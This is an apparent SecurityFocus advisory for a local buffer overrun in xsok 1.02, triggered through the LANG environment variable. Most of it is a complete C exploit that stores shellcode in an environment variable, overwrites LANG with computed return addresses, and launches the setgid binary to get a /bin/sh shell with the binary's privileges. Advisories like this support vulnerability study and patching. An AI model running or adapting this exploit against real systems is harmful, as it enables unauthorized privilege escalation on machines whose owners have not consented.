source: http://www.securityfocus.com/bid/9341/info

xsok is prone to a locally exploitable buffer overrun vulnerability due to insufficient bounds check of data supplied through the LANG environment variable. This could be exploited to execute arbitrary code with elevated privileges. The program is typically installed setgid games. 

/*
xsok 1.02 local game exploit
coded by n2n, n2n<at>linuxmail.org
Eye on Security Research Group, India http://www.eos-india.net
This exploit calculates the return address automatically.
Also the shellcode is improved and automatically gets the effective uid and gid of the vulnerable binary.
Tested on Redhat Linux 9.0
*/

#define VULN "/usr/X11R6/bin/xsok"
#define BUFLEN	100
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

/* shellcode by me, n2n@linuxmail.org */
char *shellcode=
	/* setreuid(geteuid(),geteuid()), no use unless xsok is setuid, usually its only setgid games */
	"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
	/* setregid(getegid(),getegid()) */
	"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
	/* exec /bin/sh */
	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
	/* exit() */
	"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
	char exploit[BUFLEN+5];
	unsigned long addr_ret = 0xc0000000 - 4;
	char *arg0 = VULN;
	int i;
	if (argc > 2) {
		fprintf(stderr, "Usage: %s [PROG]\n", argv[0]);
		return 1;
	}
	if (argc > 1)
		arg0 = argv[1];
	addr_ret -= strlen(arg0) + 1;
	addr_ret -= strlen(shellcode) + 1; 
	setenv("EGG",shellcode,1);	
	for(i=0;i<BUFLEN;i+=4)
		*(unsigned int *)(exploit+i)=addr_ret;
	exploit[i]=0x0;
	setenv("LANG",exploit,1);
	printf("Using RET=%p\n",addr_ret);
	execl(arg0,arg0,NULL);
	printf("\n");
	return 1;
}
